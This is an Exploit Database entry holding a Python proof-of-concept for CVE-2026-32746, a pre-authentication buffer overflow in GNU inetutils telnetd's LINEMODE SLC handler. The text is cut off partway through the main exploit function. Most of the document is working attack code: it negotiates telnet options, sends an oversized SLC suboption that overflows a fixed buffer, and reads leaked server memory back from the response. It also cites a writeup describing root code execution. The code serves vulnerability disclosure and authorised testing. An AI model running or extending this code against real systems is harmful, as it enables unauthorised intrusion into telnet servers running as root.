This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING telnetd 2.7 - Buffer Overflow EDB-ID: 52556 CVE: 2026-32746 EDB Verified: Author: JEFFBARRON Type: REMOTE Exploit: / Platform: MULTIPLE Date: 2026-05-07 Vulnerable App: # Exploit Title: telnetd 2.7 - Buffer Overflow # Google Dork: N/A # Date: 2026-04-03 # Exploit Author: Jeff Barron (jeffaf) # Vendor Homepage: https://www.gnu.org/software/inetutils/ # Software Link: https://ftp.gnu.org/gnu/inetutils/ # Version: inetutils-telnetd through 2.7 (patch pending in next release) # Tested on: Debian Linux (inetutils-telnetd 2.4 under xinetd, Docker lab) # CVE: CVE-2026-32746 # CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) # # References: # DREAM Advisory: https://dreamgroup.com/vulnerability-advisory-pre-auth-remote-code-execution-via-buffer-overflow-in-telnetd-linemode-slc-handler/ # WatchTowr: https://labs.watchtowr.com/ # GNU Disclosure: https://lists.gnu.org/archive/html/bug-inetutils/2026-03/msg00031.html # Fix (PR #17): https://codeberg.org/inetutils/inetutils/pulls/17 # NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32746 # # Notes: # The add_slc() function in telnetd/slc.c appends 3 bytes per SLC triplet to a # fixed 108-byte buffer (slcbuf) with no bounds checking. Sending a crafted # LINEMODE SLC suboption with 40+ triplets (function codes > NSLC/18) during # initial option negotiation -- before any login prompt -- overflows slcbuf, # corrupts the slcptr pointer, and leaks adjacent BSS data in the server # response. telnetd runs as root via inetd/xinetd; the vendor advisory (DREAM # Security, Advisory ID: VULN-TELNETD-SLC-2025, published 2026-03-13) confirms # full pre-auth RCE as root is achievable. This PoC demonstrates and verifies # the overflow via response analysis (BSS leak in server reply). It does NOT # include shellcode or a ROP chain. Full exploitation analysis including byte # constraints, alignment techniques, and the def_slcbuf/free() primitive on # 32-bit systems is covered in the WatchTowr writeup linked above. # Docker lab: https://github.com/jeffaf/cve-2026-32746 # # Vulnerability discovered by: Adiel Sol, Arad Inbar, Erez Cohen, Nir Somech, # Ben Grinberg, Daniel Lubel (Dream Security Research Labs). Disclosed 2026-03-13. # This is an independent PoC implementation. """ CVE-2026-32746 - telnetd LINEMODE SLC Buffer Overflow PoC ========================================================== Triggers an out-of-bounds write in GNU InetUtils telnetd's SLC handler by sending a crafted LINEMODE SLC suboption with excess triplets. The overflow corrupts the slcptr pointer in BSS. When end_slc() runs, it writes via the corrupted pointer. The server's SLC response contains the overflow data (leaked BSS bytes), providing direct proof. This PoC demonstrates and verifies the overflow via response analysis. It does NOT achieve code execution. Usage: python3 exploit.py <target_ip> [port] For authorized security testing only. """ import argparse import socket import sys import time # Telnet protocol bytes IAC = 0xFF DONT = 0xFE DO = 0xFD WONT = 0xFC WILL = 0xFB SB = 0xFA SE = 0xF0 # Options OPT_ECHO = 0x01 OPT_SGA = 0x03 OPT_TTYPE = 0x18 # 24 OPT_TSPEED = 0x20 # 32 OPT_LINEMODE = 0x22 # 34 OPT_XDISPLOC = 0x23 # 35 OPT_OLD_ENVIRON = 0x24 # 36 OPT_NEW_ENVIRON = 0x27 # 39 OPT_NAWS = 0x1F # 31 # LINEMODE suboption codes LM_SLC = 0x03 # SLC constants from source NSLC = 18 # Number of defined SLC functions # Buffer geometry SLCBUF_SIZE = 108 # Total slcbuf allocation SLCBUF_USABLE = 104 # Usable after 4-byte header (IAC SB LINEMODE SLC) def recv_all(s, timeout=2): """Receive all available data with a timeout.""" s.settimeout(timeout) chunks = [] try: while True: chunk = s.recv(4096) if not chunk: break chunks.append(chunk) except socket.timeout: pass return b''.join(chunks) def negotiate_linemode(s): """Complete telnet negotiation and enter LINEMODE. Full negotiation is required: the server only processes SLC and returns responses after all expected suboptions (TTYPE, TSPEED, XDISPLOC, NEW_ENVIRON, NAWS) have been received. """ # Round 1: Read server's initial option offers print("[*] Phase 1: Reading server negotiation...") time.sleep(1) try: data = recv_all(s) except ConnectionResetError: # Server closed connection before we could send or receive print(f"[-] Connection reset during negotiation") return False if not data: print("[-] No negotiation data received") return False print(f" Received {len(data)} bytes of negotiation") # Build responses: accept everything, add WILL LINEMODE resp = bytearray() i = 0 while i < len(data) - 2: if data[i] == IAC: cmd = data[i + 1] opt = data[i + 2] if cmd == DO: resp.extend([IAC, WILL, opt]) elif cmd == WILL: resp.extend([IAC, DO, opt]) i += 3 else: i += 1 # Proactively offer LINEMODE (triggers server's SLC handler) resp.extend([IAC, WILL, OPT_LINEMODE]) # Required suboption responses - server stalls without these resp.extend([IAC, SB, OPT_TTYPE, 0x00]) resp.extend(b'xterm') resp.extend([IAC, SE]) resp.extend([IAC, SB, OPT_TSPEED, 0x00]) resp.extend(b'38400,38400') resp.extend([IAC, SE]) resp.extend([IAC, SB, OPT_XDISPLOC, 0x00]) resp.extend(b':0') resp.extend([IAC, SE]) resp.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE]) resp.extend([IAC, SB, OPT_OLD_ENVIRON, 0x00, IAC, SE]) s.send(resp) print(f" Sent {len(resp)} bytes (negotiation + WILL LINEMODE)") # Round 2: Server sends DO LINEMODE + additional option requests print("[*] Phase 2: Completing negotiation...") time.sleep(1) data2 = recv_all(s, timeout=3) if not data2: print("[-] No response to LINEMODE offer") return False got_linemode = False resp2 = bytearray() i = 0 while i < len(data2) - 2: if data2[i] == IAC: cmd = data2[i + 1] if cmd == SB: # Find end of suboption j = i + 2 while j < len(data2) - 1: if data2[j] == IAC and data2[j + 1] == SE: break j += 1 opt = data2[i + 2] if opt == OPT_TTYPE and i + 3 < len(data2) and data2[i + 3] == 0x01: resp2.extend([IAC, SB, OPT_TTYPE, 0x00]) resp2.extend(b'xterm') resp2.extend([IAC, SE]) elif opt == OPT_NEW_ENVIRON: resp2.extend([IAC, SB, OPT_NEW_ENVIRON, 0x00, IAC, SE]) i = j + 2 elif cmd == DO: opt = data2[i + 2] if opt == OPT_LINEMODE: got_linemode = True resp2.extend([IAC, WILL, opt]) if opt == OPT_NAWS: resp2.extend([IAC, SB, OPT_NAWS, 0x00, 0x50, 0x00, 0x18, IAC, SE]) i += 3 elif cmd == WILL: resp2.extend([IAC, DO, data2[i + 2]]) i += 3 elif cmd in (DONT, WONT): i += 3 else: i += 2 else: i += 1 if resp2: s.send(resp2) if got_linemode: print("[+] Server accepted LINEMODE (DO LINEMODE received)") else: print("[-] Server did not accept LINEMODE") print(" This may not be GNU InetUtils telnetd") return False # Round 3: Wait for terminal setup and login prompt # Server sends SLC defaults + login prompt after full negotiation time.sleep(3) data3 = recv_all(s, timeout=5) if data3: # Respond to any remaining option requests resp3 = bytearray() i = 0 while i < len(data3) - 2: if data3[i] == IAC: cmd = data3[i + 1] if cmd == DO: resp3.extend([IAC, WILL, data3[i + 2]]) i += 3 elif cmd == WILL: resp3.extend([IAC, DO, data3[i + 2]]) i += 3 elif cmd == SB: j = i + 2 while j < len(data3) - 1: if data3[j] == IAC and data3[j + 1] == SE: break j += 1 i = j + 2 else: i += 3 if cmd in (DONT, WONT) else i + 2 else: i += 1 if resp3: s.send(resp3) return True def build_slc_payload(num_triplets): """Build a malicious SLC suboption with overflow triplets. Each triplet has a function code > NSLC (18), which forces add_slc() to queue a "not supported" reply. After ~35 triplets, the 104-byte response buffer overflows. Buffer math: slcbuf = 108 bytes total Header = 4 bytes (IAC SB LINEMODE LM_SLC) Usable = 104 bytes Per triplet reply = 3 bytes Overflow at: 104 / 3 = ~34.6 -> triplet 35 """ payload = bytearray() # Suboption header: IAC SB LINEMODE LM_SLC payload.extend([IAC, SB, OPT_LINEMODE, LM_SLC]) # SLC triplets: (function, flags, value) # function > NSLC triggers the vulnerable add_slc() path for i in range(num_triplets): func = NSLC + 1 + i if func >= IAC: # Can't use 0xFF (IAC) in data func = 0xFE payload.extend([func, 0x02, 0x00]) # flag=SLC_NOSUPPORT, value=0 # Suboption trailer: IAC SE payload.extend([IAC, SE]) return payload def find_slc_response(data): """Extract SLC suboption body from telnet data. Returns the SLC body bytes (between header and IAC SE), or None if no SLC suboption found. """ i = 0 while i < len(data) - 3: if (data[i] == IAC and data[i + 1] == SB and data[i + 2] == OPT_LINEMODE and i + 3 < len(data) and data[i + 3] == LM_SLC): # Found SLC suboption, extract body until IAC SE k = i + 4 while k < len(data) - 1: if data[k] == IAC and data[k + 1] == SE: return data[i + 4:k] k += 1 # Unterminated - return what we have return data[i + 4:] i += 1 return None def check_service_alive(host, port): """Verify service state with a fresh connection.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) probe = recv_all(s, timeout=3) s.close() return True, len(probe) except (socket.error, OSError): return False, 0 def exploit(host, port, triplets, timeout): """Send the SLC overflow payload and verify via response analysis.""" print(f"\n{'=' * 60}") print(f" CVE-2026-32746 - telnetd SLC Buffer Overflow PoC") print(f"{'=' * 60}") print(f" Target: {host}:{port}") print(f" Triplets: {triplets} (overflow at ~35)") print(f"{'=' * 60}\n") # Connect try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((host, port)) p